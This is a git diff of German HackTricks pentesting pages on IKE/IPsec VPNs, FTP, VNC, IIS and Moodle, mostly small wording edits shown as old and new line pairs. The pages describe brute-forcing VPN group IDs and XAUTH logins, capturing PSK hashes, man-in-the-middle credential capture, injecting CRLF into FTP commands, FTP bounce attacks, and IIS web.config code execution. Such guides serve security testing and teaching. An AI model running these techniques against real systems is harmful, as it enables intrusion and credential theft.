```bash
while read line; do (echo "Valid trans found: $line" && ike-scan -M --aggressive -P handshake.txt $line <IP>) | grep -B7 "SA=" | grep "Valid trans found" ; done < ike-dict.txt
```
@ -73,11 +73,11 @@ Sie könnten auch versuchen, Transformationen mit [**ikeforce**](https://github.
In **DH-Gruppe: 14 = 2048-Bit MODP** und **15 = 3072-Bit**\
**2 = HMAC-SHA = SHA1 (in diesem Fall). Das `--trans` Format ist $Enc,$Hash,$Auth,$DH**
Cisco empfiehlt, die Verwendung von DH-Gruppen 1 und 2 zu vermeiden, da sie nicht stark genug sind. Experten glauben, dass **Länder mit vielen Ressourcen die Verschlüsselung** von Daten, die diese schwachen Gruppen verwenden, leicht brechen können. Dies geschieht durch eine spezielle Methode, die sie darauf vorbereitet, die Codes schnell zu knacken. Obwohl es viel Geld kostet, diese Methode einzurichten, ermöglicht es diesen mächtigen Ländern, die verschlüsselten Daten in Echtzeit zu lesen, wenn sie eine Gruppe verwenden, die nicht stark ist (wie 1.024-Bit oder kleiner).
Cisco empfiehlt, die Verwendung von DH-Gruppen 1 und 2 zu vermeiden, da sie nicht stark genug sind. Experten glauben, dass **Länder mit vielen Ressourcen die Verschlüsselung** von Daten, die diese schwachen Gruppen verwenden, leicht brechen können. Dies geschieht durch die Verwendung einer speziellen Methode, die sie darauf vorbereitet, die Codes schnell zu knacken. Auch wenn es viel Geld kostet, diese Methode einzurichten, ermöglicht es diesen mächtigen Ländern, die verschlüsselten Daten in Echtzeit zu lesen, wenn sie eine Gruppe verwenden, die nicht stark ist (wie 1.024-Bit oder kleiner).
### Server-Fingerprinting
Dann können Sie ike-scan verwenden, um zu versuchen, **den Anbieter** des Geräts zu **entdecken**. Das Tool sendet einen anfänglichen Vorschlag und hört auf, wiederzugeben. Dann wird es die **Zeit**-Differenz **zwischen** den empfangenen **Nachrichten** vom Server und dem passenden Antwortmuster analysieren, sodass der Pentester erfolgreich den VPN-Gateway-Anbieter identifizieren kann. Darüber hinaus verwenden einige VPN-Server die optionale **Vendor ID (VID) Payload** mit IKE.
Dann können Sie ike-scan verwenden, um zu versuchen, **den Anbieter** des Geräts zu **entdecken**. Das Tool sendet einen ersten Vorschlag und hört auf zu wiederholen. Dann wird es die **Zeit**-Differenz **zwischen** den empfangenen **Nachrichten** vom Server und dem passenden Antwortmuster analysieren, sodass der Pentester erfolgreich den VPN-Gateway-Anbieter identifizieren kann. Darüber hinaus verwenden einige VPN-Server die optionale **Vendor ID (VID) Payload** mit IKE.
**Geben Sie die gültige Transformation an, falls erforderlich** (unter Verwendung von --trans)
@ -105,7 +105,7 @@ Dies kann auch mit dem nmap-Skript _**ike-version**_ erreicht werden.
## Finden der richtigen ID (Gruppenname)
Um den Hash erfassen zu dürfen, benötigen Sie eine gültige Transformation, die den Aggressive-Modus unterstützt, und die richtige ID (Gruppenname). Wahrscheinlich kennen Sie den gültigen Gruppennamen nicht, daher müssen Sie ihn brute-forcen.\
Um den Hash erfassen zu können, benötigen Sie eine gültige Transformation, die den Aggressive-Modus unterstützt, und die richtige ID (Gruppenname). Wahrscheinlich kennen Sie den gültigen Gruppennamen nicht, daher müssen Sie ihn brute-forcen.\
Dazu empfehle ich Ihnen 2 Methoden:
### Bruteforcing ID mit ike-scan
@ -124,11 +124,15 @@ Dieses Skript **wird versuchen, mögliche IDs zu brute-forcen** und wird die IDs
Wenn du eine spezifische Transformation entdeckt hast, füge sie in den ike-scan-Befehl ein. Und wenn du mehrere Transformationen entdeckt hast, kannst du gerne eine neue Schleife hinzufügen, um sie alle auszuprobieren (du solltest sie alle ausprobieren, bis eine von ihnen richtig funktioniert).
Du kannst das [Wörterbuch von ikeforce](https://github.com/SpiderLabs/ikeforce/blob/master/wordlists/groupnames.dic) oder [das in seclists](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/ike-groupid.txt) von gängigen Gruppennamen verwenden, um sie zu brute-forcen:
Du kannst das [Wörterbuch von ikeforce](https://github.com/SpiderLabs/ikeforce/blob/master/wordlists/groupnames.dic) oder [das in seclists](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/ike-groupid.txt) mit gängigen Gruppennamen verwenden, um sie zu brute-forcen:
```bash
while read line; do (echo "Found ID: $line" && sudo ike-scan -M -A -n $line <IP>) | grep -B14 "1 returned handshake" | grep "Found ID:"; done < /usr/share/wordlists/external/SecLists/Miscellaneous/ike-groupid.txt
```
{% file src="../images/vpnIDs.txt" %}
Or use this dict (is a combination of the other 2 dicts without repetitions):
{{#file}}
vpnIDs.txt
{{#endfile}}
### Bruteforcing ID mit Iker
@ -136,15 +140,15 @@ while read line; do (echo "Found ID: $line" && sudo ike-scan -M -A -n $line <IP>
### Bruteforcing ID mit ikeforce
[**ikeforce.py**](https://github.com/SpiderLabs/ikeforce) ist ein Tool, das ebenfalls verwendet werden kann, um **IDs zu bruteforcen**. Dieses Tool wird **versuchen, verschiedene Schwachstellen auszunutzen**, die verwendet werden könnten, um **zwischen einer gültigen und einer ungültigen ID zu unterscheiden** (kann falsche Positiv- und Negativmeldungen haben, weshalb ich es bevorzuge, die ike-scan-Methode zu verwenden, wenn möglich).
[**ikeforce.py**](https://github.com/SpiderLabs/ikeforce) ist ein Tool, das ebenfalls verwendet werden kann, um **IDs zu bruteforcen**. Dieses Tool wird **versuchen, verschiedene Schwachstellen auszunutzen**, die verwendet werden könnten, um **zwischen einer gültigen und einer ungültigen ID zu unterscheiden** (kann falsche Positiv- und Negativ-Ergebnisse haben, deshalb bevorzuge ich die Verwendung der ike-scan-Methode, wenn möglich).
Standardmäßig wird **ikeforce** zu Beginn einige zufällige IDs senden, um das Verhalten des Servers zu überprüfen und die Taktik zu bestimmen, die verwendet werden soll.
- Die **erste Methode** besteht darin, die Gruppennamen durch **Suche** nach den Informationen **Dead Peer Detection DPD** von Cisco-Systemen zu bruteforcen (diese Informationen werden nur vom Server zurückgespielt, wenn der Gruppenname korrekt ist).
- Die **erste Methode** besteht darin, die Gruppennamen durch **Suche** nach den Informationen **Dead Peer Detection DPD** von Cisco-Systemen zu bruteforcen (diese Informationen werden nur vom Server wiedergegeben, wenn der Gruppenname korrekt ist).
- Die **zweite Methode**, die verfügbar ist, besteht darin, **die Anzahl der Antworten zu überprüfen, die auf jeden Versuch gesendet werden**, da manchmal mehr Pakete gesendet werden, wenn die korrekte ID verwendet wird.
- Die **dritte Methode** besteht darin, nach **"INVALID-ID-INFORMATION" als Antwort auf eine falsche ID zu suchen**.
- Schließlich, wenn der Server auf die Überprüfungen nichts zurückspielt, wird **ikeforce** versuchen, den Server zu bruteforcen und zu überprüfen, ob der Server mit einem Paket antwortet, wenn die korrekte ID gesendet wird.\
Offensichtlich besteht das Ziel des Bruteforcings der ID darin, den **PSK** zu erhalten, wenn Sie eine gültige ID haben. Dann müssen Sie mit der **ID** und dem **PSK** das XAUTH bruteforcen (falls es aktiviert ist).
- Schließlich, wenn der Server auf die Überprüfungen nichts zurücksendet, wird **ikeforce** versuchen, den Server zu bruteforcen und zu überprüfen, ob der Server bei der korrekten ID mit einem Paket antwortet.\
Offensichtlich besteht das Ziel des Bruteforcings der ID darin, den **PSK** zu erhalten, wenn Sie eine gültige ID haben. Dann müssen Sie mit der **ID** und dem **PSK** das XAUTH bruteforcen (wenn es aktiviert ist).
Wenn Sie eine spezifische Transformation entdeckt haben, fügen Sie sie im ikeforce-Befehl hinzu. Und wenn Sie mehrere Transformationen entdeckt haben, können Sie gerne eine neue Schleife hinzufügen, um sie alle auszuprobieren (Sie sollten sie alle ausprobieren, bis eine von ihnen richtig funktioniert).
```bash
@ -157,13 +161,13 @@ pip install 'pyopenssl==17.2.0' #It is old and need this version of the library
```
### Sniffing ID
(Aus dem Buch **Network Security Assessment: Know Your Network**): Es ist auch möglich, gültige Benutzernamen zu erhalten, indem man die Verbindung zwischen dem VPN-Client und dem Server sniffed, da das erste aggressive Modus-Paket, das die Client-ID enthält, im Klartext gesendet wird.
(From the book **Network Security Assessment: Know Your Network**): Es ist auch möglich, gültige Benutzernamen zu erhalten, indem man die Verbindung zwischen dem VPN-Client und dem Server sniffed, da das erste aggressive Modus-Paket, das die Client-ID enthält, im Klartext gesendet wird.
![](<../images/image (891).png>)
## Capturing & cracking the hash
Schließlich, wenn Sie eine **gültige Transformation** und den **Gruppennamen** gefunden haben und wenn der **aggressive Modus erlaubt ist**, dann können Sie sehr einfach den knackbareren Hash erfassen:
Schließlich, wenn Sie eine **gültige Transformation** und den **Gruppennamen** gefunden haben und wenn der **aggressive Modus erlaubt ist**, können Sie sehr einfach den knackbareren Hash erfassen:
```bash
ike-scan -M -A -n <ID> --pskcrack=hash.txt <IP> #If aggressive mode is supported and you know the id, you can get the hash of the passwor
```
@ -181,11 +185,11 @@ Beim Übergang zu **IKEv2** ist ein bemerkenswerter Wechsel zu beobachten, bei d
### Lokales Netzwerk MitM zur Erfassung von Anmeldeinformationen
So können Sie die Daten der Anmeldung mit _fiked_ erfassen und sehen, ob es einen Standardbenutzernamen gibt (Sie müssen den IKE-Verkehr zu `fiked` umleiten, um zu schnüffeln, was mit Hilfe von ARP-Spoofing erfolgen kann, [more info](https://opensourceforu.com/2012/01/ipsec-vpn-penetration-testing-backtrack-tools/)). Fiked wird als VPN-Endpunkt fungieren und die XAuth-Anmeldeinformationen erfassen:
So können Sie die Daten der Anmeldung mit _fiked_ erfassen und sehen, ob es einen Standardbenutzernamen gibt (Sie müssen den IKE-Verkehr zu `fiked` umleiten, um ihn abzuhören, was mit Hilfe von ARP-Spoofing erfolgen kann, [mehr Infos](https://opensourceforu.com/2012/01/ipsec-vpn-penetration-testing-backtrack-tools/)). Fiked wird als VPN-Endpunkt fungieren und die XAuth-Anmeldeinformationen erfassen:
```bash
fiked -g <IP> -k testgroup:secretkey -l output.txt -d
```
Auch, versuchen Sie mit IPSec einen MitM-Angriff durchzuführen und den gesamten Verkehr zu Port 500 zu blockieren. Wenn der IPSec-Tunnel nicht hergestellt werden kann, wird der Verkehr möglicherweise im Klartext gesendet.
Auch, versuchen Sie mit IPSec einen MitM-Angriff durchzuführen und blockieren Sie den gesamten Verkehr zu Port 500. Wenn das IPSec-Tunnel nicht hergestellt werden kann, wird der Verkehr möglicherweise unverschlüsselt gesendet.
### Brute-Forcing von XAUTH-Benutzernamen und -Passwort mit ikeforce
@ -195,7 +199,7 @@ Um den **XAUTH** zu brute-forcen (wenn Sie einen gültigen Gruppennamen **id** u
```
Auf diese Weise wird ikeforce versuchen, sich mit jeder Kombination aus Benutzername:Passwort zu verbinden.
Wenn Sie eine oder mehrere gültige Transformationen gefunden haben, verwenden Sie diese einfach wie in den vorherigen Schritten.
Wenn Sie eine oder mehrere gültige Transformationsmethoden gefunden haben, verwenden Sie diese einfach wie in den vorherigen Schritten.
## Authentifizierung mit einem IPSEC VPN
@ -215,7 +219,7 @@ root@system:~# vpnc samplevpn
VPNC started in background (pid: [PID])...
root@system:~# ifconfig tun0
```
In dieser Konfiguration:
In diesem Setup:
- Ersetzen Sie `[VPN_GATEWAY_IP]` durch die tatsächliche IP-Adresse des VPN-Gateways.
- Ersetzen Sie `[VPN_CONNECTION_ID]` durch die Kennung für die VPN-Verbindung.

View File

@ -16,9 +16,9 @@ PORT STATE SERVICE
In **Aktiv FTP** initiiert der FTP **Client** zuerst die Steuerungs-**verbindung** von seinem Port N zum Befehlsport des FTP-Servers Port 21. Der **Client** hört dann auf Port **N+1** und sendet den Port N+1 an den FTP-Server. Der FTP-**Server** initiiert dann die Daten-**verbindung** von **seinem Port M zum Port N+1** des FTP-Clients.
Wenn der FTP-Client jedoch eine Firewall eingerichtet hat, die die eingehenden Datenverbindungen von außen kontrolliert, kann aktives FTP ein Problem darstellen. Eine praktikable Lösung dafür ist passives FTP.
Wenn der FTP-Client jedoch eine Firewall eingerichtet hat, die die eingehenden Datenverbindungen von außen kontrolliert, kann aktives FTP ein Problem darstellen. Eine praktikable Lösung dafür ist Passives FTP.
In **Passiv FTP** initiiert der Client die Steuerungsverbindung von seinem Port N zum Port 21 des FTP-Servers. Danach gibt der Client einen **passv Befehl** aus. Der Server sendet dann dem Client eine seiner Portnummern M. Und der **Client** **initiiert** die Daten-**verbindung** von **seinem Port P zu Port M** des FTP-Servers.
In **Passivem FTP** initiiert der Client die Steuerungsverbindung von seinem Port N zum Port 21 des FTP-Servers. Danach gibt der Client einen **passv-Befehl** aus. Der Server sendet dann dem Client eine seiner Portnummern M. Und der **Client** **initiiert** die Daten-**verbindung** von **seinem Port P zu Port M** des FTP-Servers.
Quelle: [https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/](https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/)
@ -26,7 +26,7 @@ Quelle: [https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-att
Die **FTP**-Befehle **`debug`** und **`trace`** können verwendet werden, um zu sehen, **wie die Kommunikation erfolgt**.
## Aufzählung
## Enumeration
### Banner Grabbing
```bash
@ -105,7 +105,7 @@ Hier finden Sie eine schöne Liste mit Standard-FTP-Anmeldeinformationen: [https
### Automatisiert
Anonyme Anmeldungen und Bounce-FTP-Überprüfungen werden standardmäßig von nmap mit der Option **-sC** durchgeführt oder:
Anonyme Anmeldungen und Bounce-FTP-Überprüfungen werden standardmäßig von nmap mit der **-sC** Option durchgeführt oder:
```bash
nmap --script ftp-* -p 21 <ip>
```
@ -115,7 +115,7 @@ Sie können sich mit einem FTP-Server über einen Browser (wie Firefox) mit eine
```bash
ftp://anonymous:anonymous@10.10.10.98
```
Beachten Sie, dass wenn eine **Webanwendung** Daten, die von einem Benutzer kontrolliert werden, **direkt an einen FTP-Server** sendet, Sie doppelt URL-kodierte `%0d%0a` (in doppelt URL-kodiert ist dies `%250d%250a`) Bytes senden können und den **FTP-Server dazu bringen**, willkürliche Aktionen auszuführen. Eine dieser möglichen willkürlichen Aktionen besteht darin, Inhalte von einem vom Benutzer kontrollierten Server herunterzuladen, Port-Scans durchzuführen oder zu versuchen, mit anderen auf Klartext basierenden Diensten (wie http) zu kommunizieren.
Beachten Sie, dass wenn eine **Webanwendung** Daten, die von einem Benutzer kontrolliert werden, **direkt an einen FTP-Server** sendet, Sie doppelt URL-encodierte `%0d%0a` (in doppelt URL-encodiert ist dies `%250d%250a`) Bytes senden können und den **FTP-Server dazu bringen können, willkürliche Aktionen** auszuführen. Eine dieser möglichen willkürlichen Aktionen besteht darin, Inhalte von einem vom Benutzer kontrollierten Server herunterzuladen, Port-Scans durchzuführen oder zu versuchen, mit anderen auf Klartext basierenden Diensten (wie http) zu kommunizieren.
## Alle Dateien vom FTP herunterladen
```bash
@ -128,54 +128,54 @@ wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/
```
## Einige FTP-Befehle
- **`USER username`**
- **`PASS password`**
- **`USER benutzername`**
- **`PASS passwort`**
- **`HELP`** Der Server zeigt an, welche Befehle unterstützt werden
- **`PORT 127,0,0,1,0,80`** Dies weist den FTP-Server an, eine Verbindung mit der IP 127.0.0.1 an Port 80 herzustellen (_Sie müssen das 5. Zeichen als "0" und das 6. als den Port im Dezimalformat angeben oder das 5. und 6. Zeichen verwenden, um den Port im Hexadezimalformat auszudrücken_).
- **`PORT 127,0,0,1,0,80`** Dies weist den FTP-Server an, eine Verbindung mit der IP 127.0.0.1 an Port 80 herzustellen (_du musst das 5. Zeichen als "0" und das 6. als den Port im Dezimalformat angeben oder das 5. und 6. Zeichen verwenden, um den Port im Hexadezimalformat auszudrücken_).
- **`EPRT |2|127.0.0.1|80|`** Dies weist den FTP-Server an, eine TCP-Verbindung (_angezeigt durch "2"_) mit der IP 127.0.0.1 an Port 80 herzustellen. Dieser Befehl **unterstützt IPv6**.
- **`LIST`** Dies sendet die Liste der Dateien im aktuellen Ordner
- **`LIST -R`** Rekursive Liste (wenn vom Server erlaubt)
- **`LIST -R`** Liste rekursiv (wenn vom Server erlaubt)
- **`APPE /path/something.txt`** Dies weist den FTP an, die Daten, die von einer **passiven** Verbindung oder von einer **PORT/EPRT**-Verbindung empfangen wurden, in einer Datei zu speichern. Wenn der Dateiname existiert, werden die Daten angehängt.
- **`STOR /path/something.txt`** Wie `APPE`, aber es wird die Datei überschreiben
- **`STOU /path/something.txt`** Wie `APPE`, aber wenn sie existiert, wird nichts unternommen.
- **`RETR /path/to/file`** Eine passive oder eine Portverbindung muss hergestellt werden. Dann sendet der FTP-Server die angegebene Datei über diese Verbindung
- **`REST 6`** Dies weist den Server an, dass er beim nächsten Mal, wenn er etwas mit `RETR` sendet, im 6. Byte beginnen soll.
- **`TYPE i`** Setzt die Übertragung auf binär
- **`TYPE i`** Setze den Transfer auf binär
- **`PASV`** Dies öffnet eine passive Verbindung und zeigt dem Benutzer, wo er sich verbinden kann
- **`PUT /tmp/file.txt`** Hochladen der angegebenen Datei auf den FTP
- **`PUT /tmp/file.txt`** Lade die angegebene Datei auf den FTP hoch
![](<../../images/image (386).png>)
## FTPBounce-Angriff
Einige FTP-Server erlauben den Befehl PORT. Dieser Befehl kann verwendet werden, um dem Server anzuzeigen, dass Sie sich mit einem anderen FTP-Server an einem bestimmten Port verbinden möchten. Dann können Sie dies verwenden, um zu scannen, welche Ports eines Hosts über einen FTP-Server geöffnet sind.
Einige FTP-Server erlauben den Befehl PORT. Dieser Befehl kann verwendet werden, um dem Server anzuzeigen, dass du dich mit einem anderen FTP-Server an einem bestimmten Port verbinden möchtest. Dann kannst du dies verwenden, um zu scannen, welche Ports eines Hosts über einen FTP-Server offen sind.
[**Hier lernen, wie man einen FTP-Server missbraucht, um Ports zu scannen.**](ftp-bounce-attack.md)
Sie könnten dieses Verhalten auch ausnutzen, um einen FTP-Server mit anderen Protokollen interagieren zu lassen. Sie könnten **eine Datei hochladen, die eine HTTP-Anfrage enthält** und den anfälligen FTP-Server **dazu bringen, sie an einen beliebigen HTTP-Server zu senden** (_vielleicht um einen neuen Admin-Benutzer hinzuzufügen?_) oder sogar eine FTP-Anfrage hochladen und den anfälligen FTP-Server dazu bringen, eine Datei von einem anderen FTP-Server herunterzuladen.\
Du könntest dieses Verhalten auch ausnutzen, um einen FTP-Server mit anderen Protokollen interagieren zu lassen. Du könntest **eine Datei hochladen, die eine HTTP-Anfrage enthält** und den anfälligen FTP-Server **dazu bringen, sie an einen beliebigen HTTP-Server zu senden** (_vielleicht um einen neuen Admin-Benutzer hinzuzufügen?_) oder sogar eine FTP-Anfrage hochladen und den anfälligen FTP-Server dazu bringen, eine Datei von einem anderen FTP-Server herunterzuladen.\
Die Theorie ist einfach:
1. **Laden Sie die Anfrage (in einer Textdatei) auf den anfälligen Server hoch.** Denken Sie daran, dass Sie, wenn Sie mit einem anderen HTTP- oder FTP-Server kommunizieren möchten, die Zeilen mit `0x0d 0x0a` ändern müssen
2. **Verwenden Sie `REST X`, um zu vermeiden, die Zeichen zu senden, die Sie nicht senden möchten** (vielleicht um die Anfrage in der Datei hochzuladen, mussten Sie am Anfang einen Bildheader einfügen)
3. **Verwenden Sie `PORT`, um sich mit dem beliebigen Server und Dienst zu verbinden**
4. **Verwenden Sie `RETR`, um die gespeicherte Anfrage an den Server zu senden.**
1. **Lade die Anfrage (in einer Textdatei) auf den anfälligen Server hoch.** Denk daran, dass du, wenn du mit einem anderen HTTP- oder FTP-Server kommunizieren möchtest, die Zeilen mit `0x0d 0x0a` ändern musst.
2. **Verwende `REST X`, um zu vermeiden, die Zeichen zu senden, die du nicht senden möchtest** (vielleicht musstest du, um die Anfrage in die Datei hochzuladen, am Anfang einen Bildheader einfügen)
3. **Verwende `PORT`, um dich mit dem beliebigen Server und Dienst zu verbinden**
4. **Verwende `RETR`, um die gespeicherte Anfrage an den Server zu senden.**
Es ist sehr wahrscheinlich, dass dies **einen Fehler wie** _**Socket nicht beschreibbar**_ **auslöst, weil die Verbindung nicht lange genug dauert, um die Daten mit `RETR` zu senden**. Vorschläge, um dies zu vermeiden, sind:
Es ist sehr wahrscheinlich, dass dies **einen Fehler wie** _**Socket nicht beschreibbar**_ **auslöst, weil die Verbindung nicht lange genug dauert, um die Daten mit `RETR` zu senden**. Vorschläge, um das zu vermeiden, sind:
- Wenn Sie eine HTTP-Anfrage senden, **setzen Sie die gleiche Anfrage nacheinander** bis **\~0.5MB** mindestens. So:
- Wenn du eine HTTP-Anfrage sendest, **setze die gleiche Anfrage nacheinander** bis **\~0.5MB** mindestens. So:
{% file src="../../images/posts.txt" %}
{{#file}}
posts.txt
{% endfile %}
{{#endfile}}
- Versuchen Sie, die Anfrage mit "Junk"-Daten, die sich auf das Protokoll beziehen, zu **füllen** (wenn Sie mit FTP sprechen, vielleicht nur Junk-Befehle oder die `RETR`-Anweisung wiederholen, um die Datei zu erhalten)
- Füllen Sie die Anfrage einfach mit vielen Nullzeichen oder anderen **(getrennt in Zeilen oder nicht)**
- Versuche, die Anfrage mit "Junk"-Daten, die sich auf das Protokoll beziehen, zu **füllen** (wenn du mit FTP sprichst, vielleicht nur Junk-Befehle oder wiederhole die `RETR`-Anweisung, um die Datei zu erhalten)
- Fülle die Anfrage einfach mit vielen Nullzeichen oder anderen **(getrennt in Zeilen oder nicht)**
Wie auch immer, hier haben Sie ein [altes Beispiel, wie man dies ausnutzen kann, um einen FTP-Server eine Datei von einem anderen FTP-Server herunterladen zu lassen.](ftp-bounce-download-2oftp-file.md)
Wie auch immer, hier hast du ein [altes Beispiel, wie man dies ausnutzen kann, um einen FTP-Server eine Datei von einem anderen FTP-Server herunterladen zu lassen.](ftp-bounce-download-2oftp-file.md)
## Filezilla-Server-Sicherheitsanfälligkeit
**FileZilla** bindet normalerweise einen **lokalen** **Administrationsdienst** für den **FileZilla-Server** (Port 14147). Wenn Sie einen **Tunnel** von **Ihrem Rechner** zu diesem Port erstellen können, können Sie sich mit einem **leeren Passwort** verbinden und einen **neuen Benutzer** für den FTP-Dienst erstellen.
**FileZilla** bindet normalerweise **lokal** einen **Administrationsdienst** für den **FileZilla-Server** (Port 14147). Wenn du einen **Tunnel** von **deinem Rechner** zu diesem Port erstellen kannst, kannst du dich mit einem **leeren Passwort** verbinden und einen **neuen Benutzer** für den FTP-Dienst erstellen.
## Konfigurationsdateien
```
@ -203,7 +203,7 @@ Die Standardkonfiguration von vsFTPd kann in `/etc/vsftpd.conf` gefunden werden.
- `ftp`
- `port:21`
## HackTricks Automatische Befehle
## HackTricks Automatic Commands
```
Protocol_Name: FTP #Protocol Abbreviation if there is one.
Port_Number: 21 #Comma separated if there is more than one.

View File

@ -2,10 +2,9 @@
{{#include ../banners/hacktricks-training.md}}
## Grundlegende Informationen
**Virtual Network Computing (VNC)** ist ein robustes grafisches Desktop-Sharing-System, das das **Remote Frame Buffer (RFB)**-Protokoll nutzt, um die Fernsteuerung und Zusammenarbeit mit einem anderen Computer zu ermöglichen. Mit VNC können Benutzer nahtlos mit einem entfernten Computer interagieren, indem sie Tastatur- und Mausereignisse bidirektional übertragen. Dies ermöglicht den Echtzeitzugriff und erleichtert effiziente Fernunterstützung oder Zusammenarbeit über ein Netzwerk.
**Virtual Network Computing (VNC)** ist ein robustes grafisches Desktop-Sharing-System, das das **Remote Frame Buffer (RFB)**-Protokoll verwendet, um die Fernsteuerung und Zusammenarbeit mit einem anderen Computer zu ermöglichen. Mit VNC können Benutzer nahtlos mit einem Remote-Computer interagieren, indem sie Tastatur- und Mausereignisse bidirektional übertragen. Dies ermöglicht den Echtzeitzugriff und erleichtert effiziente Fernunterstützung oder Zusammenarbeit über ein Netzwerk.
VNC verwendet normalerweise die Ports **5800 oder 5801 oder 5900 oder 5901.**
```
@ -34,13 +33,14 @@ vncpwd <vnc password file>
```
Sie können dies tun, weil das Passwort, das innerhalb von 3des verwendet wird, um die Klartext-VNC-Passwörter zu verschlüsseln, vor Jahren umgekehrt wurde.\
Für **Windows** können Sie auch dieses Tool verwenden: [https://www.raymond.cc/blog/download/did/232/](https://www.raymond.cc/blog/download/did/232/)\
Ich speichere das Tool hier auch zur einfachen Zugänglichkeit:
Ich speichere das Tool hier auch zur einfacheren Zugänglichkeit:
{% file src="../images/vncpwd.zip" %}
{{#file}}
vncpwd.zip
{{#endfile}}
## Shodan
- `port:5900 RFB`
{{#include ../banners/hacktricks-training.md}}

View File

@ -16,7 +16,7 @@ Auf jedem IIS-Server, auf dem Sie einen 302 erhalten, können Sie versuchen, den
nc -v domain.com 80
openssl s_client -connect domain.com:443
```
Antwort, die die interne IP offenbart:
Antwort, die die interne IP offenlegt:
```
GET / HTTP/1.0
@ -29,7 +29,7 @@ X-FEServer: NHEXCHANGE2016
```
## .config-Dateien ausführen
Sie können .config-Dateien hochladen und sie verwenden, um Code auszuführen. Eine Möglichkeit, dies zu tun, besteht darin, den Code am Ende der Datei innerhalb eines HTML-Kommentars anzugen: [Beispiel hier herunterladen](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Upload%20Insecure%20Files/Configuration%20IIS%20web.config/web.config)
Sie können .config-Dateien hochladen und sie verwenden, um Code auszuführen. Eine Möglichkeit, dies zu tun, besteht darin, den Code am Ende der Datei innerhalb eines HTML-Kommentars anzuhängen: [Beispiel hier herunterladen](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Upload%20Insecure%20Files/Configuration%20IIS%20web.config/web.config)
Weitere Informationen und Techniken zur Ausnutzung dieser Schwachstelle [hier](https://soroush.secproject.com/blog/2014/07/upload-a-web-config-file-for-fun-profit/)
@ -37,7 +37,9 @@ Weitere Informationen und Techniken zur Ausnutzung dieser Schwachstelle [hier](h
Laden Sie die Liste herunter, die ich erstellt habe:
{% file src="../../images/iisfinal.txt" %}
{{#file}}
iisfinal.txt
{{#endfile}}
Sie wurde erstellt, indem die Inhalte der folgenden Listen zusammengeführt wurden:
@ -52,7 +54,7 @@ Verwenden Sie es, ohne eine Erweiterung hinzuzufügen, die Dateien, die sie ben
## Pfad Traversierung
### Quellcode-Leckage
### Quellcode-Leck
Überprüfen Sie den vollständigen Bericht unter: [https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html](https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html)
@ -190,7 +192,7 @@ Wenn Sie einen Fehler wie den folgenden sehen:
bedeutet das, dass der Server **den korrekten Domainnamen** im Host-Header **nicht erhalten hat**.\
Um auf die Webseite zuzugreifen, könnten Sie das **SSL-Zertifikat** überprüfen und vielleicht finden Sie dort den Domain-/Subdomainnamen. Wenn es dort nicht vorhanden ist, müssen Sie möglicherweise **VHosts brute forcen**, bis Sie den richtigen finden.
## Alte IIS-Sicherheitsanfälligkeiten, nach denen es sich zu suchen lohnt
## Alte IIS-Sicherheitsanfälligkeiten, die es wert sind, untersucht zu werden
### Microsoft IIS Tilde-Zeichen “\~” Sicherheitsanfälligkeit/Funktion Offenlegung kurzer Datei-/Ordnernamen
@ -213,7 +215,7 @@ Eine gute Idee, um den **endgültigen Namen** der entdeckten Dateien zu **finden
Sie können versuchen, diese **Sicherheitsanfälligkeit** mit der letzten zu **kombinieren**, um neue **Ordner** zu finden und die Authentifizierung zu **umgehen**.
## ASP.NET Trace.AXD aktivierte Debugging
## ASP.NET Trace.AXD aktivierte Fehlersuche
ASP.NET enthält einen Debugging-Modus, und die Datei heißt `trace.axd`.
@ -234,12 +236,12 @@ ASPXAUTH verwendet die folgenden Informationen:
- **`decryptionIV`** (string): hex-kodierter Initialisierungsvektor (Standard ist ein Vektor aus Nullen).
- **`decryptionKey`** (string): hex-kodierter Schlüssel zur Verwendung für die Entschlüsselung.
Einige Personen verwenden jedoch die **Standardwerte** dieser Parameter und verwenden als **Cookie die E-Mail des Benutzers**. Daher, wenn Sie eine Webseite finden, die die **gleiche Plattform** verwendet und das ASPXAUTH-Cookie verwendet, und Sie **einen Benutzer mit der E-Mail des Benutzers, den Sie nachahmen möchten**, auf dem angegriffenen Server erstellen, könnten Sie in der Lage sein, **das Cookie vom zweiten Server im ersten zu verwenden** und den Benutzer nachzuahmen.\
Einige Personen verwenden jedoch die **Standardwerte** dieser Parameter und verwenden als **Cookie die E-Mail des Benutzers**. Daher, wenn Sie eine Webseite finden, die die **gleiche Plattform** verwendet und das ASPXAUTH-Cookie verwendet, und Sie **einen Benutzer mit der E-Mail des Benutzers, den Sie nachahmen möchten**, auf dem angegriffenen Server erstellen, könnten Sie in der Lage sein, das **Cookie vom zweiten Server im ersten zu verwenden** und den Benutzer nachzuahmen.\
Dieser Angriff funktionierte in diesem [**Bericht**](https://infosecwriteups.com/how-i-hacked-facebook-part-two-ffab96d57b19).
## IIS-Authentifizierungsumgehung mit zwischengespeicherten Passwörtern (CVE-2022-30209) <a href="#id-3-iis-authentication-bypass" id="id-3-iis-authentication-bypass"></a>
[Der vollständige Bericht hier](https://blog.orange.tw/2022/08/lets-dance-in-the-cache-destabilizing-hash-table-on-microsoft-iis.html): Ein Fehler im Code **überprüfte das vom Benutzer angegebene Passwort nicht ordnungsgemäß**, sodass ein Angreifer, dessen **Passworthash einen Schlüssel trifft**, der bereits im **Cache** ist, sich als dieser Benutzer anmelden kann.
[Vollständiger Bericht hier](https://blog.orange.tw/2022/08/lets-dance-in-the-cache-destabilizing-hash-table-on-microsoft-iis.html): Ein Fehler im Code **überprüfte das vom Benutzer angegebene Passwort nicht ordnungsgemäß**, sodass ein Angreifer, dessen **Passworthash einen Schlüssel** trifft, der bereits im **Cache** ist, sich als dieser Benutzer anmelden kann.
```python
# script for sanity check
> type test.py

View File

@ -2,7 +2,6 @@
{{#include ../../banners/hacktricks-training.md}}
## Automatische Scans
### droopescan
@ -73,9 +72,11 @@ Sie müssen die **Manager**-Rolle haben und Sie **können Plugins** im **"Site a
